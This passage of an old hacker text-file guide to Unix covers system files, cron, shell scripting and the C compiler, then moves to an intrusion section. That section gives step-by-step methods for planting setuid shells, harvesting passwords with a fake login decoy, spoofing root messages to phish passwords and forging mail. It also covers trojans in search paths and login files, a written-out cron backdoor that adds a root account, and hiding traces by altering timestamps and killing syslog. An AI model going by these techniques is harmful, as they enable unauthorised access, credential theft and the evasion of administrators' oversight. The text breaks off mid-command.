hacker thinks of is trying + decrypt the password file. This is as close to impossible as + anything gets in this world. I've often heard other "hackers" + brag about doing this...this is the biggest lie since Moses + said "I did it". The encryption scheme is a variation on the + DES (Data Encryption Standard). When you enter the command + passwd (to change the password), the system will form a 2 + character "salt string" based on the process number of the + password command you just issued. This 2-character string pro- + duces a slight change in the way the password is encrypted. + There are a total of 4096 different variations on the + encryption scheme caused by different salt string characters. + This is NOT the same encryption scheme used by the crypt + utility. The password is NEVER decrypted on the system. When + you log on, the password you enter at the password prompt is + encrypted (the salt string is taken from the password file) + and compared to the encrypted entry in the password file. The + system generates its own key, and as of yet, I have not + discovered any way to get the key. The login program does + not encrypt the password you enter itself, it does so, I + believe, by a system call. + +/etc/group -This is the group file. This allows the superuser to give + certain accounts group access to groups other than their own. + Entries are in the format: + + group name:password:group number:users in this group + + The first field is the name of the group. The second is the + field for the group password. In all my experience with Unix, + I have never seen the password feature used. The third is the + group's number. The fourth field is a list of the users who + group access to this group. (Note: this can include users whose + group number is different from the number of the group whose + entry you are reading in the group file.) The usernames are + separated by commas. Here's an example: + + sys::2:root,sys,adm,lp + + To change to a new group identity, type "newgrp [group]". If + the group has a password, you must enter the proper password. + You cannot change to another group if you are not listed as a + member of that group in the group file. + + +/dev/console -This is the device file for the system console, or the + system's main terminal. + +/dev/tty## -The device files for the system's terminals are usually in + the form tty##, such as tty09, and sometimes ttyaa,ttyab, etc. + Some ways to make use of the Unix system's treatment of devices + as files will be explored in the section on Hacking Unix. When + these files are not in use by a user (in other words, no one's + logged onto this terminal), the file is owned by root. While a + user is logged onto a terminal, however, ownership of its + device file is temporarily transferred to that account. + +/dev/dk## -These are the device files for the system's disks. + +login files -There are special files that are in a user's home directory + that contain commands that are executed when the user logs in. + The name of the file depends on what shell the user is using. + Here are the names of the files for the various shells: + + Shell File + ----- ---- + sh .profile + csh .cshrc + ksh .login + rsh .profile + + Some systems also use a file called ".logout" that contains + commands which are executed upon logoff. + These types of files are called shell scripts, and will + will be explained in the section on Unix Software Development's + explanation of shell programming. +/usr/adm/sulog -This is a log of all attempted uses of the su utility. It + shows when the attempt was made, what account made it, and + which account the user attempted to assume, and whether or not + the attempt was successful. +/usr/adm/loginlog + or +/usr/adm/acct/sum/loginlog- This is a log of all logins to the system. This + only includes the time and the account's username. + +mbox -These are files in the home directories of the system's users, + that contain all the mail messages that they have saved. + +/usr/mail/ -These files in the directory /usr/mail are named after + system accounts. They contain all the unread mail for + the account they are named after. +/dev/null -This is the null device file. Anything written to this file is + just lost forever. Any attempt to read this file will result in + an immediate control-D (end of file) character. +/tmp -The directory /tmp provides storage space for temporary files created + by programs and other processes. This directory will always have + rwxrwxrwx permissions. Examining these files occasionally reveals some + interesting information, and if you know what program generates them + and the format of the information in the file, you could easily change + the info in the files, thereby changing the outcome of the program. + +The Cron Utilities +------------------ + An understanding of the cron utilities will be necessary to understand certain +parts of the section on Hacking Unix. This section will give a detailed +explanation of the workings of the cron utilities. + The cron utility is a utility which carries out tasks which must beperformed on +a periodic basis. These tasks, and the times when they are to be carried out, are +kept in files in 2 directories: /usr/lib and /usr/spool/cron. + The file crontab in the directory /usr/lib contains entries for system tasks +that must be performed on a periodic basis. The format for the entries in +this file is: + +minute hour dayofmonth monthofyear dayofweek commandstring + +The first field is the minutes field. This is a value from 0-59. +The second field is the hour field, a value from 0-23. +The third field is the day of the month, a value from 1-31. +The fifth field is the month of the year, a value from 1-2. +The sixth field is the day of the week, a value from 1-7, with monday being 1. +The seventh field is the pathname and any arguments of the task to be carried +out. + +An asterisk in a field means to carry out the task for every value of that +field. For instance, an asterisk in the minutes field would mean to carry out +that task every minute. Here's an example crontab entry: + +0 1 * * * /bin/sync + +This runs sync command, which is kept in the directory bin, at 1 am every day. +Commands in the file /usr/lib/crontab are performed with root privileges. + In the directory /usr/spool/crontabs, you will find files named after system +accounts. These files contain cron entries which are the same as those in the +file /usr/lib/crontab, but are carried out under the id of the user the file is +named after. The entries are in the same format. + +BEWARE! When modifying cron files- cron activity is logged! All cron activity +is logged in the file /usr/adm/cronlog. I've found, however, that on most +systems, this file is almost never checked. + +UNIX Software Development +------------------------- + The Unix operating system was initially created as an enviroment for software +development, and that remains its main use. This section will detail some of the +os's main facilities for software development, the C compiler and shell +programming, and their related utilities. A few of the other languages +will be briefly touched upon at the end of this section, also. + +Shell Programing +----------------- + The shell is more than a simple command interpreter. It is also a sophisticated +programming tool, with variables, control structures, and the features of just +about any other programming language. Shell programs are called scripts. Scripts +are just text files which contain the names of commands and programs. When the +script is executed, the command and programs whose names it contains are executed +as if you had typed in their names from your keyboard. There are two ways to +execute a shell script: if you have execute permission to it, you can simply type +in its name. Otherwise, (if you have read access to it), you can type "sh +[filename]". Here is a sample shell script: + +who +whoami + +As you can see, it contains the commands who and whoami. When you execute it, +you will see a list of the system's current users (the output of the who +command), and which account you are logged in under (the output of the whoami +command). + This will concentrate solely on shell programming. While shell programming is +essentially the same with all the shells, there are slight syntax differences +that make shell scripts incompatible with shells that they were not specifically +written for. + +Shell Variables +--------------- + Like any programming language, the shell can handle variables. To set the value +of a variable, type: + +[variable]=[value] + +For example: + +counter=1 + +This will assign the value "1" to the variable counter. If the variable counter +does not already exist, the shell will create it. Note, that there are no +"numeric" variables in shell programming- all the variables are strings. For +instance, we could later type: + +counter=This is a string + +And counter would now be equal to "This is a string". There is a command called +"expr", however, that will let you treat a variable as a numeric value, and +will be explained later. + When setting the value of a variable, you only use the variable name. When you +specify a variable as an argument to a command or program, however, you must +precede the variable with a dollar sign. For instance: + +user=root + +Now, we want to specify user as an argument to the command "ps -u". We would +type: + +ps -u$user + +Which would, of course, display the processes of the user "root". + +Special Shell Variables +----------------------- + There are certain vaiables which are already pre-defined by the shell, and have +special meaning to it. Here is a list of the more important ones and their +meanings to the shell: + +HOME -(Notice the caps. All pre-defined variables are in all-caps.) This + variable contains the pathname of the user's home directory. + +PATH -This is a good time to explain something which makes Unix a very + unique operating system. In Unix, there are no commands "built-in" to + the operating system. All the commands are just regular programs. The + PATH variable contains a list of the pathnames of directories. When you + type in the name of a command or program, the shell searches through + the directories listed in the PATH variable (in the order specified in + the variable) until it finds a program with the same name as the name + you just typed in. The format for the list of directories in the PATH + variable is: + + [pathname]:[pathname]:[pathname]... + + For example, the default searchpath is usually: + + /bin:/usr/bin:/usr/local + + A blank entry in the pathname, or an entry for ".", means to check the + directory the user is currently in. For instance, all these paths + contain blank or "." entries: + + .:/bin:/usr/bin [Notice . at begginning of path] + :/bin:/usr/bin [Notice that path begins with :] + /bin:/usr/bin: [Note that path ends with : ] + +PS1 -This variable contains the shell prompt string. The default is usually + "$" ("&" if you're using BSD Unix). If you have the "&" prompt, and + wish to have the dollar sign prompt instead, just type: + + PS1=$ + +TERM -This contains the type of terminal you are using. Common terminal + types are: + + ansi vt100 vt52 vt200 ascii tv150 + + And etc... Just type "TERM=[termtype]" to set your terminal type. + +Command Line Variables +---------------------- + Command line variables are variables whose values are set to arguments entered +on the command line when you execute the shell script. For instance, here is a +sample shell script called "repeat" that uses command line variables: + +echo $1 +echo $2 +echo $3 + +The echo command prints out the values following it. In this case, it will +print out the values of the variables $1, $2, and $3. These are the command +line variables. For instance, $1 contains the value of the first argument you +entered on the command line, $2 contains the second, $3 contains the third, an +so on to infinity. Now, execute the script: + +repeat crack is good + +The output from the "repeat" shell script would be: + +crack +is +good + +Get the idea? + +Special Command Line Variables +------------------------------ + There are 2 special command line variables, $O and $#. $O contains the name of +command you typed in (in the last example, $O would be repeat). $# contains the +number of arguments in the command line. (In the last example, $# would be 3.) + +Special Commands For Shell Programs +----------------------------------- + These commands were added to the Unix os especially for shell programming. This +section will list them, their syntax, and their uses. + +read -This command reads the value of a variable from the terminal. The + format is: "read [variable]". For example, "read number". The variable + is not preceded by a dollar sign when used as an argument to this com- + mand. + +echo -This command displays information on the screen. For example, + "echo hello" would display "hello" on your terminal. If you specify + a variable as an argument, it must be preceded by a dollar sign, for + example "echo $greeting". + +trap -This command traps certain events, such as the user being disconnected + or pressing the break key, and tells what commands to carry out if they + occur. The format is: trap "commands" eventcodes. the event codes are: + 2 for break key, and 1 for disconnect. You can specify multiple com- + mands with the quotation marks, separating the commands with a semi- + colon (";"). For example: + + trap "echo 'hey stupid!'; echo 'don't hit the break key'" 2 + + Would echo "Hey stupid!" and "Don't hit the break key" if the user hits + the break key while the shell script is being executed. + +exit -This command terminates the execution of a shell procedure, and ret- + urns a diagnostic value to the enviroment. The format is: + "exit [value]", where value is 0 for true and 1 for false. The meaning + of the value parameter will become clear later, in the section on + the shell's provisions for conditional execution. If the shell script + being executed is being executed by another shell script, control is + passed to the next highest shell script. + +Arithmatic With EXPR +-------------------- + The expr command allows you to perform arithmetic on the shell +variables, and sends the output to the screen. (Though the output may be +redirected.) The format is: + +expr [arg] [function] [arg] [function] [arg]... + +Where [arg] may be either a value, or a variable (preceded by a dollar sign), +and [function] is an arithmetic operation, one of the following: + ++ -Add. +- -Subtract. +\* -Multiply. +/ -Divide. +% -Remainder from a division operation. + +For example: + +$ num1=3 +$ num2=5 +$ expr num1 + num2 + 8 +$ + +Text Manipulation With Sort +--------------------------- + The sort command sorts text by ASCII or numeric value. The command format is: + +sort [field][option]... file + +where file is the file you wish to sort. (The sort command's input may be +redirected, though, just as its output, which is ordinarily to the screen, can +be.) The sort command sorts by the file's fields. If you don't specify any +specific field, the first field is assumed. for example, say this file +contained names and test scores: + +Sam Sloppy 10 +Jello Biafra 5 +Darby Crash 20 + +the file's fields would be first name, last name, and score. So, to sort the +above file (called "students") by first name, you would issue the command: + +sort students + +And you would see: + +Sam Sloppy 10 +Darby Crash 20 +Jello Biafra 5 + +If you wanted to sort the file's entries by another field, say the second field +of the file "students" (last names), you would specify: + +sort +1 students + +The +1 means to skip ahead one field and then begin sorting. Now, say we wanted +to sort the file by the 3rd field (scores). We would type: + +sort +2 students + +to skip 2 fields. But the output would be: + +Sam Sloppy 10 +Jello Biafra 5 +Darby Crash 20 + +Notice that the shorter names came first, regardless of the numbers in the +second field. There is a reason for this- the spaces between the second and 3rd +fields are considered to be part of the 3rd field. You can tell the sort +command to ignore spaces when sorting a field, however, using the b option. The +format would be: + +sort +2b students + +but...another error! The output would be: + +Sam Sloppy 10 +Darby Crash 20 +Jello Biafra 5 + +Why did the value 5 come after 10 and 20? Because the sort command wasn't +really sorting by numeric value- it was sorting by the ASCII values of the +characters in the third field, and 5 comes after the digits 1 and 2. We could +specify that the field be treated by its numerical value by specifying the n +option: + +sort +2n students + +Output: + +Jello Biafra 5 +Sam Sloppy 10 +Darby Crash 20 + +Notice that if we use the n option, blanks are automatically ignored. + +We can also specify that sort work in the reverse order on a field. For +example, if we wanted to sort by last names in reverse order: + +sort +1r students + +Output: + +Jello Biafra 5 +Darby Crash 20 +Sam Sloppy 10 + +By using pipes, you can direct the output of one sort command to the input of +yet another sort command, thus allowing you to sort a file by more than one +field. This makes sort an excellent tool for text manipulation. It is not, +however, the only one. Remember, you can use any Unix command or program in a +shell script, and there are many different commands for text manipulation in +Unix, such as grep (described in an earlier section on basic commands). +Experiment with the different commands and ways of using them. + +Looping +------- + The for/do loop is a simple way to repeat a step for a certain number +of times. The format is: + +for [variable] in [values] +do [commands] +done + +You do not precede the variable with a dollar sign in this command. The for/do +loop works by assigning the variable values from the list of values given, one +at a time. For example: + +for loopvar in 1 2 3 5 6 7 +do echo $loopvar +done + +On the first pass of the loop, loopvar would be assigned the value 1, on the +second pass 2, on the third pass 3, on the fourth pass 5, on the fifth pass 6, +and on the sixth pass 7. I skipped the number 4 to show that you do not have to +use values in numerical order. In fact, you don't have to use numerical +arguments. You could just as easily have assigned loopvar a string value: + +for loopvar in apples peaches pears +do echo "This pass's fruit is:" + echo $loopvar +done + +Note that you can also specify multiple commands to be carried out in the do +portion of the loop. + +Selective Execution With CASE +----------------------------- + The case command allows you to execute commands based on the value of a +variable. The format is: + +case [variable] in + + [value]) commands + commands + commands;; + [value2]) commands + commands;; + [value3]) ...and so on + esac + +For example: + +case $choice in + 1) echo "You have chosen option one." + echo "This is not a good choice.";; + + 2) echo "Option 2 is a good choice.";; + + *) echo "Invalid option.";; + esac + +Now, to explain that: + If the variable choice's value is "1", the commands in the section for +the value 1 are carried out until a pair of semicolons (";;") is found. The +same if the value of choice is "2". Now, note the last entry, "*". This is a +wildcard character. This means to execute the commands in this section for any +other value of choice. Easac signals the end of the list of execution options +for case. + +Determining True/False Conditions With TEST +------------------------------------------- + The test command tests for various conditions of files and variables +and returns either a true value (0) or a false value (1), which is used in +conjuction with the if/then statements to determine whether or not a series of +commands are executed. There are several different formats for test, depending +on what kind of condition you are testing for. When using variables with test, +you must always precede the variable with a dollar sign. + +Numeric Tests +------------- +Format: +test [arg1] option [arg2] + +the arguments can either be numbers or variables. + +OPTIONS TESTS TRUE IF +------- ------------- +-eq arg1=arg2 +-ne arg1<>arg2 +-gt arg1>arg2 +-lt arg1=arg2 +-le arg1<=arg2 + +Filetype Tests +------------- +Format: +test [option] file or directory name + +OPTIONS TESTS TRUE IF +------- ------------- +-s file or directory exists and is not empty +-f the "file" is a file and not a directory +-d the "file" is really a directory +-w the user has write permission to the file/directory +-r the user has read permission to the file/directory + +Character String Tests +---------------------- +Format: +test [arg1] option [arg2] +The arguments can be either strings of characters or variables with character +string values. + +OPTIONS TESTS TRUE IF +------- ------------- += arg1=arg2 +!= arg<>arg2 + +A note here about string tests. You must enclose the names of the variables in +quotation marks (like "$arg1") if you wish the test to take into consideration +spaces, otherwise space characters are ignored, and " blue" would be +considered the same as "blue". + +Testing For the Existance of a String of Characters +--------------------------------------------------- +Format: +test [option] arg +Arg is a variable. + +OPTIONS TESTS TRUE IF +------- ------------- +-z variable has a length of 0 +-n variable has a length greater than 0 + +COMBINING TESTS WITH -A AND -O +------------------------------ + These options stand for "and" (-a) and "or" (-o). They allow you to +combine tests, for example: + +test arg1 = arg2 -o arg1 = arg3 + +means that a true condition is returned if arg1=arg2 or arg1=arg3. + + +Conditional Execution With IF/THEN/ELSE/ELIF +-------------------------------------------- +Format: +if [this condition is true] +then [do these commands] +fi + +Example: + +if test arg1 = arg2 +then echo "argument 1 is the same as argument 2" +fi + +This is pretty much self-explanatory. If the condition test on the if line +returns a true value, the the commands following "then" are carried out until +the fi statement is encountered. + +Format: +if [this condition is true] +then [do these commands] +else [do these commands] +fi + +Again, pretty much self explanatory. The same as the above, except that if the +condition isn't true, the commands following else are carried out, until fi is +encountered. + +Format: +if [this condition is true] +then [do these commands] +elif [this condition is true] +then [do these commands] +fi + +The elif command executes another condition test if the first condition test is +false, and if the elif's condition test returns a true value, the command for +its then statement are then carried out. Stands for "else if". + +WHILE/DO Loops +-------------- +Format: +while [this condition is true] +then [do these commands] +done + +Repeats the commands following "then" for as long as the condition following +"while" is true. Example: + +while test $looper != "q" +then read looper + echo $looper +done + +while will read the value of the variable looper from the keyboard and display +it on the screen, and ends if the value of looper is "q". + +Summary +------- + This small tutorial by no means is a complete guide to shell +programming. Look at shell scripts on the systems you crack and follow their +examples. Remember, that you can accomplish a great deal by combining the +various control structures (such as having an if/then conditional structure +call up a while/do loop if the condition is true, etc.) and by using I/O +redirection, pipes, etc. My next Unix file will cover more advanced shell +programming, and examine shell programming on another popular shell, the +Berkely C shell. + +The C Compiler +-------------- + C is sort of the "official" language of Unix. Most of the Unix operating system +was written in C, and just about every system I've ever been on had the C +compiler. The command to invoke the c compiler is cc. The formatis "cc +[filename]", where filename is the name of the file which contains the source +code. (The filename must end in .c) You can create the source code file with any +of the system's text editors. The include files, stdio.h and others, are kept in +a directory on the system. You do not have to have a copy of these files in your +current directory when you compile the file, the compiler will search this +directory for them. If you wish to include any files not in the include library, +they must be in your current directory. The compiled output will be a file called +"a.out" in your current directory. + +Compiling Individual Modules +---------------------------- + If you're working on a very large program, you will probably want to break it up +into small modules. You compile the individual modules with the -c option, which +only generates the object files for the module. Then, use the link editor to +combine and compile the object files. The object files will be generated with the +same name as the source files, but the file extension will be changed from .c to +.o When you have created all the object files for all of the modules, combine +them with the ld (link editor) like this: + +ld /lib/crtO.o [module] [module]... -lc + +which will give you the final, compiled program, in a file named a.out. For +example: + +ld /lib/crtO.o part1.o part2.o -lc + +You must remeber to include /lib/crtO.o and the -lc parts in the command, in +the order shown. Also, the object files must be specified in the ld command +in the order that they must be in the program (for instance, if part1 called +part2, part2 can't be BEFORE part1). + +Checking for Errors in C Programs +--------------------------------- + The lint command checks for errors and incompatibility errors in C source code. +Type "lint [c source-code file]". Not all of the messages returned by lint are +errors which will prevent the program from compiling or executing properly. As +stated, it will report lines of code which may not be transportable to other Unix +systems, unused variables, etc. + +C Beautifier +------------ + The cb (C beautifier) program formats C source code in an easy to read, +"pretty" style. The format is "cb [file]". The output is to the screen, so if +you want to put the formatted source code into a file, you must redirect the +output. + +Special C Commands +------------------ + The Unix C compiler has a command called system that executes Unix commands and +programs as if you had typed in the commands from the keyboard. +The format is: + +system("command line") + +Where command line is any command line you can execute from the shell, such as: + +system("cat /etc/passwd") + +Another command which performs a similar function is execvp. The format is: + +execvp("command") + +An interesting trick is to execute a shell program using execvp. This will make +the program function as a shell. + +Hacking the UNIX System +----------------------- + This is it, k-rAd d00dErS, the one you've waded through all that rodent +nonsense for! This section will describe advanced hacking techniques. Most of +these techniques are methods of defeating internal security (I.E. security once +you're actually inside the system). There is little to be said on the subject +of hacking into the system itself that hasn't already been said in the earlier +sections on logging in, Unix accounts, and Unix passwords. I will say this +much- it's easier, and faster, to password hack your way from outside the +system into a user account. Once you're actually inside the system, you will +find it, using the techniques described in this section, almost easy to gain +superuser access on most systems. (Not to mention that nothing is quite as +rewarding as spending 3 days hacking the root account on a system, only to +receive the message "not on console-disconnecting" when you finally find the +proper password.) If you do not have a good understanding of the Unix operating +system and some of its more important utilities already, you should read the +earlier parts of this file before going on to this section. + +Overcoming RSH Restrictions +--------------------------- + The rsh (restricted Bourne shell) shell attempts to limit the commands +available to a user by preventing him from executing commands outside of his +searchpath, and preventing him from changing directories. It also prevents you +from changing the value of shell variables directly (i.e. typing +"variable=value"). There are some easy ways to overcome these restrictions. + You can reference any file and directory in the system by simply using its full +pathname. You can't change directories like this, or execute a file that is +outside of your searchpath, but you can do such things as list out the contents +of directories, edit files in other directories, etc. (If you have access to the +necessary commands.) + The biggest flaw in rsh security is that the restrictions that are described +above ignored when the account's profile file is executed upon logon. This means +that, if you have access to the edit command, or some other means of modifying +your account's profile, you can add a line to add a directory to your searchpath, +thereby letting you execute any programs in that directory. The restriction on +changing directories is also ignored during logon execution of the profile. So, +if you absolutely, positively HAVE to go to another directory, you can add a cd +command your .profile file. + +Overcoming COPY and WRITE Restrictions +-------------------------------------- + This is a simple trick. If you have read access t a file, but cannot copy it +because of directory protections, simply redirect the output of the cat command +into another file. If you have write access to a directory but not write access +to a specific file, you can create a copy of the file, modify it (since it will +be owned by your account), delete the original, and rename the copy to the name +of the original. + +Detached Accounts +----------------- + This is a big security hole in many Unix systems. Occasionally, if a user is +disconnected without logging off, his account may remain on-line, and still +attached to the tty he was connected to the system through. Now, if someone calls +to the system and and gets connected to that tty, he is automatically inside the +system, inside the disconnected user's account. There are some interesting ways +to take advantage of this flaw. For instance, if you desire to gain the passwords +to more account, you can set a decoy program up to fake the login sequence, +execute the program, and then disconnect from the system. Soon, some unlucky user +will call the system and be switched into the detached account's tty. When they +enter their username and password, the decoy will store their input in a file on +the system, display the message "login incorrect", and then kill the detached +account's shell process, thus placing the user at the real login prompt. A Unix +decoy written by Shooting Shark will be given at the end of this file. + +UID Shells +---------- + When the uid bit is set on a shell program, executing this shell will change +your user id to the user id of the account that owns the shell file, and you will +have full use of that account, until you press control-d (ending the second shell +process) and return to your normal user id. This gives you the power to execute +any commands under that account's user id. This is better than knowing the +account's password, since as long as the file remains on the system, you can +continue to make use of that account, even if the password is changed. When I +gain control of an account, I usually make a copy of the shell while logged in +under that account in a nice, out of the way directory, and set its uid and gid +bits. That way, if I should happen to lose the account (for instance, if the +password were changed), I could log in under another account and still make use +of the lost account by executing the uid shell. + +Forced Detaching +---------------- + This is an easy means of gaining the use of an account on systems with the +detached account flaw. Usually, most terminal device files will have public +write permission, so that the user that logs in under it can receive messages +via write (unless he turns off messages with the mesg n command). This means +that you can cat a file into the user's terminal device file. A compiled file, +full of all kinds of strange control characters and garbage, works nicely. Say, +the user is logged in on tty03. Just type cat /bin/sh > /dev/tty03. The user +will see something like this on his screen: + +LKYD;uiayh;fjahfasnf kajbg;aev;iuaeb/vkjeb/kgjebg;iwurghjiugj;di vd +b/fujhf;shf;j;kajbv;jfa;vdblwituwoet8y6- +2958ybp959vqvq43p8ytpgyeerv98tyq438pt634956b v856 -868vcf-56- +e8w9v6bc[6[b6r8wpcvt + +Hehehe! Now, the poor devil is confused. He tries to press break- no response, +and the garbage just keeps coming. He tries to enter various commands, to no +avail. Catting a file into his terminal device file "ties it up", so to speak, +and since this is the file through which all I/O with his terminal is done, he +finds it almost impossible to get any input through to the shell. He can't even +log off! So, in desperation, he disconnects... It is best to execute the cat +command as a background process, so that you can keep an eye on the users on +the system. Usually, the user will call the system back and, unless he gets +switched back into his old detached account (in which case he will usually hang +up again), he will kill the detached account's login process. So, if you see 2 +users on the system using the same username, you know he's logged back in +already. Anyways...after an appropriate length of time, and you feel that he's +disconnected, log off and call the system back a few times until you get +switched into the detached account. Then just create a uid shell owned by the +account and you can use it any time you please, even though you don'tknow the +password. Just remember one thing, though-when the cat command has finished +displaying the compiled file on the victim's screen, if he is still logged on +to that terminal, he will regain control. Use a long file! + +Faking WRITE Messages +--------------------- + Being able to write to other people's terminal files also makes it possible to +fake write messages from any user on the system. For example, you wish to fake a +message from root. Edit a file to contain these lines: +Message from root console ^g [note control-g (bell) character] +Bill, change your password to "commie" before logging off today. There has been +a security leak. + [don't forget to put this--in the file.] +Now, type "who" to find bill's tty device, and type: + +cat [filename] > /dev/ttyxx + +Bill will see: + +Message from root console [beep!] +Bill, change your password to "commie" before logging off today. There has been +a security leak. + + +When File Permissions Are Checked +--------------------------------- + Unix checks file permissions every time you issue a write or execute command to +a file. It only checks read permissions, however, when you first issue the read +command. For instance, if you issued the command to cat the contents of a file, +and someone changed the file's permissions so that you did not have read +permission while the process was still being executed, the cat command would +continue as normal. + +Online Terminal Reading +----------------------- + You can also, if you have some means of assuming an account's userid, (such as +having a uid shell for that account), you can read the contents of someone's +terminal on-line. Just execute the uid shell and type "cat /dev/ttyxx &" (which +will execute the cat command in the background, which will still display the +contents to your screen, but will also allow you to enter commands). Once the +person logs off, ownership of his terminal device file will revert to root +(terminal device files are temporarily owned by the account logged in under +them), but since you had the proper permissions when you started the read +process, you can still continue to view the contents of that terminal file, and +can watch, online, as the next use logs in. There is also one other trick that +can sometimes be used to gain the root password, but should be exercised as a +last resort, since it involved revealing your identity as a hacker to the +superuser. On many systems, the superuser also has a normal user account that he +uses for personal business, and only uses the root account for system management +purposes. (This is, actually, a rather smart security move, as it lessens the +chances of, say, things like his executing a trojan horse program while under the +root account, which, to say the least, could be disastrous [from his point of +view].) If you can obtain a uid shell for his user account, simply execute a read +process of his terminal file in the background (while under the uid shell), and +then drop back into your normal shell. Then send him a write message like: + +I'm going to format your winchesters + +When he uses the su command to go to the superuser account to kick you off the +system, you can sit back and watch him type in the root password. (This should +only be done if you have more than one account on the system- remember, many +systems will not let you log into a superuser account remotely, and if the only +account you have is a superuser account, you are effectively locked out of the +system.) + +Mail Fruad +---------- + The TCP/IP protocol is a common protocol for file transfers between Unix +systems, and between Unix and other operating systems. If the Unix system +you are on features TCP/IP file transfers, it will have the telnet program on- +line, usually in the directory /bin. This can be used to fake mail from any +user on the system. Type "telnet" to execute the telnet program. You should +see: + +Telnet> + +At this prompt, type "open [name] 25", where name is the uucp network name of +the system you are on. This will connect you to the system's 25th port, used to +receive network mail. Once connected, type: + +rcpt to: [username] + +Where username is the name of the user you wish to send mail to. Next, type: + +mail from: [user] + +Where user is the name of the use you wish the mail to appear from. You can +also specify a non-existant user. You can also fake network mail from a user on +another system. For information on the format of the address, see the section +on the uucp facilities. Then type: + +data + +You will be prompted to enter the message. Enter "." on a blank line to end and +send the mail. When you'e finished sending mail, type "quit" to exit. + + Thanks to Kid&CO. from Private Sector/2600 Magazine for that novel bit +of information. + +UNIX Trojan Horses +------------------ + This is an old, OLD subject, and there's little original material to add about +it. Trojan horses are programs that appear to execute one function, but actually +perform another. This is perhaps the most common means of hacking Unix. + One of the easiest means of setting up a Unix trojan horse is to place a program +named after a system command, such as ls, "in the way" of someone's search path. +For instance, if a user's searchpath is ".:/usr/bin", which means that the system +searches the user's current directory for a command first, you could place a +shell script in the user's home directory called "ls" that, when executed, +created a copy of the shell, set the new shell file's uid and gid bits, echo an +error message (such as "lsa: not found", leading the user to think he mistyped +the command and the offending character was not echoed, due to line noise or +whatever), and delete itself. When the user executes the ls command in his +directory, the uid shell is created. Another good idea is to set the name of the +trojan to a command in the user's login file, have it make the uid shell, execute +the real command, and then delete itself. + Another good way to set up a trojan horse is to include a few lines in a user's +login file. Simply look at the user's password file entry to find out which shell +he logs in under, and then modify the appropriate login file (or create one if it +doesn't exist) to create a uid shell when the user logs on. + If you can modify a user's file in the directory /usr/spool/cron/crontabs, you +can add an entry to create a uid shell. Just specify * * * * * as the times, and +wait about 1-2 minutes. In 1 minute, the cron utility will execute the commands +in the user's crontab file. Then you can delete the entry. Again, if the user +doesn't have a file in /usr/spool/cron/crontabs, you can create one. + One last note- be sure you give the trojan horse execute permissionsm, otherwise +the victim will receive the message "[filename]- cannot execute"... Kind of a +dead giveaway. + +Changing UID Programs +--------------------- + If you have write access to a uid file, you can easily modify it to become a +shell. First, copy the file. Then type: + +cat /bin/sh > [uid file] + +This will replace the file's contents with a shell program, but the uid bit +will remain set. Then execute the file and create a well-hidden uid shell, and +replace the subverted uid file with the copy. + +Adding An Account To a UNIX System +---------------------------------- + To add an account to a Unix system, you must have write access to the password +file, or access to the root account so that you can change the password file's +protections. To add an account, simply edit the file with the text file editor, +edit (or any of the other Unix editors, if you wish). Add anentry like this: + +[username]::[user#]:[group#]:[description]:[home directory]:[pathname of shell] + +Notice that the password field is left blank. To set the password, type: + +passwd [username] + +You will then be prompted to enter and verify a password for the account. +If you wish the account to have superuser privileges, it must have a user +number of zero. + +UNIX Backdoor +------------- + A backdoor is a means of by-passing a system's normal security for keeping +unauthorized users out. For all the talk about back doors, they are rarely +accomplished. But creating a backdoor in Unix System V is really quite easy. It +simply requires adding a few entries to the file /usr/lib/crontab or +/usr/spool/cron/crontabs/root. (Again, if the file doesn't exist, you can create +it.) Add these lines, which will create 2 accounts on the system, one a user +account ("prop") and one a superuser account ("prop2"), at 1 am system time every +night, and delete them at 2 am every night. + +0 1 * * * chmod +w /etc/passwd +1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd +2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd +20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p +0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd +10 2 * * * chmod -w /etc/passwd +15 2 * * * rm /usr/spool/uucppublic/.p + +Covering Your Tracks +-------------------- + Naturally, you want to keep your cover, and not leave any trace that there is a +hacker on the system. This section will give you some tips on how to do just +that. First of all, the Unix system keeps track of when a file was last modified +(see the information on the command ls -l in the section on file and directory +protections). You don't want anyone noticing that a file has been tampered with +recently, so after screwing around with a file, if at all possible, you should +return its last modified date to its previous value using the touch command. The +syntax for the touch command is: + +touch hhmmMMdd [file] + +Where hh is the hour, mm is the minute, MM is the month, and dd is the day. +[file] is the name of the file you wish to change the date on. + What usually gives hackers away are files they create on a system. If you must +create files and directories, make use of the hidden files feature. Also, try to +hide them in directories that are rarely "ls"'d, such as /usr/spool/lp, +/usr/lib/uucp, etc (in other words, directories whose contents are rarely +tampered with). + Avoid use of the mail facilities, as anyone with the proper access can read the +/usr/mail files. If you must send mail to another hacker on the system, write the +message into a text file first, and encrypt it. Then mail it to the recipient, +who can save the message without the mail header using the w option, and decrypt +it. + Rather than adding additional superuser accounts to a system, I've found it +better to add simple user accounts (which don't stand out quite as much) and use +a root uid shell (judiciously hidden in a rarely used directory) whenever I need +superuser privileges. It's best to use a user account as much as possible, and +only go to the superuser account whenever you absolutely need superuser priv's. +This may prevent damaging accidents. And be careful when creating a home +directory for any accounts you add. I've always found it better to use existing +directories, or to add a hidden subdirectory to a little-tampered with directory. + + Many systems have "watchdog" programs which log off inactive accounts after a +certain period of time. These programs usually keep logs of this kind of +activityl. Avoid sitting on the sitting doing nothing for long periods of time. + While using some of the methods described in this file, you may replace a user's +file with a modified copy. This copy will be owned by your account and group +instead of the account which owned the original. You can change the group back to +the original owner's group with the chgrp command, the format of which is: + +chgrp [groupname] [file] + +And change the owner back to the original with the chown command: + +chown [user] [file] + + When you change ownership or group ownership of a file, the uid and gid bits +respectively are reset, so you can't copy the shell, set its uid bit, and change +its owner to root to gain superuser capabilities. + Above all, just be careful and watch your step! Unix is a very flexible +operating system, and even though it comes equipped with very little in the way +of accounting, it is easy to add your own security features to it. If you do +something wrong, such as attempting to log in under a superuser account +remotely only to see "not on console-goodbye", assume that a note is made of +the incident somewhere on the system. Never assume that something [anything!] +won't be noticed. And leave the system and its files exactly as you found them. +In short, just use a little common sense. + If you're a real klutze, you can turn off the error logging (if you have root +capabilities). I will include information on System V error logging, which most +Unix clones will have error logging facilities similar to, and on Berkely +Standard Distribution (BSD) Unix error logging. + +Berkely (BSD) UNIX Error Logging +-------------------------------- +Type "cat /etc/syslog.pid". This file contains the +process number of the syslog (error logging) program. Kill this process, and +you stop the error logging. Remember to start the logging process back up after +you're through stumbling around. + If you want to see where the error messages are sent, type: + +cat 